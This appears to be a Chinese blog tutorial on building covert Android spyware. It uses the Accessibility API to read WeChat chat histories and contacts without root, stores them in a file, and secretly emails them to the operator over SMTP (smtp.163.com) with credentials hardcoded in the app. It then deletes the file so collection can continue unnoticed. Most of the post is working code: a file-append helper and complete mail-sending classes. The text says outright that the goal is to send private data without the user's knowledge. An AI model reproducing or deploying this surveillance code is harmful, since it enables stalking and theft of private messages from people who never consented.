1. 程式人生 > >Android開發——免Root監聽微信的聊天記錄(後臺祕密發郵件)

Android開發——免Root監聽微信的聊天記錄(後臺祕密發郵件)

1. 首先先展示一下效果圖:



2. Accessibility機制

Accessibility機制之前已經介紹過了,具體可以檢視Accessibility機制實現模擬點選,需要簡單的配置(如設定被監聽的物件為微信)和實現。此文中介紹瞭如何通過Accessibility自動搶紅包,在這個過程中,很明顯,在呼叫如下程式碼時,

AccessibilityNodeInfo nodeInfo = getRootInActiveWindow();  
遍歷節點,再迴圈列印其getText()資訊,便可以拿到使用者通訊錄以及聊天記錄等資訊的。

獲取到這些資訊後,我們可以暫時寫入檔案,以備傳送。

private void write(String info){
		try{
			FileOutputStream fos = openFileOutput(FILE_NAME,MODE_APPEND);
			PrintStream ps = new PrintStream(fos);
			ps.println(info);
			ps.close();
		}
		catch (Exception e) {
			e.printStackTrace();
		}
	}

當然,前提是在被監聽使用者在我們開啟監聽後聊過(或者說看到)的記錄,否則使用者連微信都不開啟,我們是無從獲取聊天記錄等資訊的。

2. 後臺祕密發郵件

當然,我們監聽到這些資訊,需要實時地反饋給我們。這裡我們採用郵件的形式,通過後臺“偷偷地”傳送這些資訊。

傳送後臺郵件需要用到三個第三方的庫,分別為activation.jar,additionnal.jar,mail.jar。傳送郵件的時候需要用到很多資訊,包括髮送郵件的伺服器的IP和埠、郵件傳送者的地址、郵件接收者的地址、登陸郵件傳送伺服器的使用者名稱和密碼、郵件主題、郵件的文字內容等等。

這裡需要注意的是,我們後臺發郵件需要賬號密碼等敏感資訊,這些郵件資訊,除了郵件的文字內容資訊,其他的資訊我們

都可以在程式裡面編寫好,這樣便可以實現在使用者未知的情況下,將使用者的個人隱私資訊作為郵件的文字內容,從應用程式目錄下的檔案內取出,完成後臺傳送

還有一點需要注意的是,在完成後臺祕密傳送的同時,需要將存放敏感資訊的的檔案進行刪除,以此來防止部分內容的重複傳送。刪除之後,重新開始監聽使用者資訊,若資訊有效,便重新建立檔案寫入資訊,當達到設定好的傳送條件時,再進行後臺郵件傳送,以此迴圈,來達到一直監聽的目的。具體的傳送時機,刪除暫時儲存資料的檔案的時機等等,可以自定義實現。

核心程式碼展示如下:

                        //傳送郵件
                        MailSenderInfo mailInfo = new MailSenderInfo();
                        mailInfo.setMailServerHost("smtp.163.com");
                        mailInfo.setMailServerPort("25");
                        mailInfo.setValidate(true);
                        mailInfo.setUserName(userid);  //你的郵箱地址
                        mailInfo.setPassword(password);//您的郵箱密碼
                        mailInfo.setFromAddress(from);
                        mailInfo.setToAddress(to);
                        mailInfo.setSubject(subject);
                        mailInfo.setContent(read());
                        //這個類主要來發送郵件
                        SimpleMailSender sms = new SimpleMailSender();
                        //傳送文體格式
                        sms.sendTextMail(mailInfo);

其中SimpleMailSender類展示如下,MyAuthenticator類需要繼承Authenticator類,主要是在getPasswordAuthentication()方法中返回封裝好的型別為PasswordAuthentication的鑑權結果即可。

public class SimpleMailSender
{
    /**
     * 以文字格式傳送郵件
     * @param mailInfo 待發送的郵件的資訊
     */
    public boolean sendTextMail(MailSenderInfo mailInfo){
        // 判斷是否需要身份認證
        MyAuthenticator authenticator = null;
        Properties pro = mailInfo.getProperties();
        if (mailInfo.isValidate())
        {
            // 如果需要身份認證,則建立一個密碼驗證器
            authenticator = new MyAuthenticator(mailInfo.getUserName(), mailInfo.getPassword());
        }
        // 根據郵件會話屬性和密碼驗證器構造一個傳送郵件的session
        Session sendMailSession = Session.getDefaultInstance(pro,authenticator);
        try
        {
            // 根據session建立一個郵件訊息
            Message mailMessage = new MimeMessage(sendMailSession);
            // 建立郵件傳送者地址
            Address from = new InternetAddress(mailInfo.getFromAddress());
            // 設定郵件訊息的傳送者
            mailMessage.setFrom(from);
            // 建立郵件的接收者地址,並設定到郵件訊息中
            Address to = new InternetAddress(mailInfo.getToAddress());
            mailMessage.setRecipient(Message.RecipientType.TO,to);
            // 設定郵件訊息的主題
            mailMessage.setSubject(mailInfo.getSubject());
            // 設定郵件訊息傳送的時間
            mailMessage.setSentDate(new Date());
            // 設定郵件訊息的主要內容
            String mailContent = mailInfo.getContent();
            mailMessage.setText(mailContent);
            // 傳送郵件
            Transport.send(mailMessage);
        }
        catch (MessagingException ex){
            ex.printStackTrace();
        }
        return false;
    }
}

MailSenderInfo類展示如下。
public class MailSenderInfo {
    // 傳送郵件的伺服器的IP和埠
    private String mailServerHost = Constant.SERVICE_IP;
    private String mailServerPort = Constant.SERVICE_PORT;//一般為25
    // 郵件傳送者的地址
    private String fromAddress;
    // 郵件接收者的地址
    private String toAddress;
    // 登陸郵件傳送伺服器的使用者名稱和密碼
    private String userName;
    private String password;
    // 是否需要身份驗證
    private boolean validate = true;
    // 郵件主題
    private String subject;
    // 郵件的文字內容
    private String content;
    /**
     * 獲得郵件會話屬性
     */
    public Properties getProperties() {
        Properties p = new Properties();
        p.put("mail.smtp.host", this.mailServerHost);
        p.put("mail.smtp.port", this.mailServerPort);
        p.put("mail.smtp.auth", "true");
        return p;
    }
    public String getMailServerHost() {
        return mailServerHost;
    }
    public void setMailServerHost(String mailServerHost) {
        this.mailServerHost = mailServerHost;
    }
    public String getMailServerPort() {
        return mailServerPort;
    }
    public void setMailServerPort(String mailServerPort) {
        this.mailServerPort = mailServerPort;
    }
    public boolean isValidate() {
        return validate;
    }
    public void setValidate(boolean validate) {
        this.validate = validate;
    }
    public String getFromAddress(){
        return fromAddress;
    }
    public void setFromAddress(String fromAddress){
        this.fromAddress = fromAddress;
    }
    public String getPassword(){
        return password;
    }
    public void setPassword(String password){
        this.password = password;
    }
    public String getToAddress(){
        return toAddress;
    }
    public void setToAddress(String toAddress){
        this.toAddress = toAddress;
    }
    public String getUserName(){
        return userName;
    }
    public void setUserName(String userName){
        this.userName = userName;
    }
    public String getSubject(){
        return subject;
    }
    public void setSubject(String subject){
        this.subject = subject;
    }
    public String getContent(){
        return content;
    }
    public void setContent(String textContent){
        this.content = textContent;
    }
}